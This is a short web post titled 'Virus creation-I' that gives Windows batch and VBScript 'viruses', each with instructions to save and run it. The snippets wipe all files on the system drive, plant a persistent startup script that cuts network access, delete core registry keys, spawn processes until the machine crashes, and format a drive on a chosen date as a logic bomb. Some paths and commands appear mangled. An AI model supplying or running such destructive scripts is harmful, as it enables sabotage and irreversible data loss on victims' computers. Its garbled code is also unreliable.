Virus creation-I

>>This Virus Deletes All The Content Of A Drive…

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

Save The Above Code in a .bat file

>>Disable Internet Permanently

Save As A bat File

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE

>>The Most Simple Virus To Crush The Window

@Echo off
Del C:\ *.* |y

Save It As Anything.bat

>> This Will Crash Ur Computer

Option Explicit

Dim WSHShell
Set WSHShell=Wscript.CreateObject(“Wscript.Shell”)

Dim x
For x = 1 to 100000000
WSHShell.Run “Tourstart.exe”
Next

Save It As Anything.vbs

It Only Works With Windows XP

>>Delete Key Registry Files [NOTE THIS IS DANGEROUS!! USE AT RISK]

This will delete key registry files, then loops a message (CANNOT BE RECOVERED FROM)*

Code:-

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked. Have a nice day.
GOTO MESSAGE

>>Endless Notepads

*This will pop up endless notepads until the computer freezes and crashes*

Code:-

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

>> Bomb Virus

Copy Paste The Following

If %date% NEQ 2009/11/25 goto exit
format E: /y >nul
:exit
exit

And Save It As Anything.bat

Note:- You Can Change The Date ( 2009/11/25 ) Of The Virus And The Location ( format E: ) On Which It Does Its Action
The Virus Will Take Effect On That Day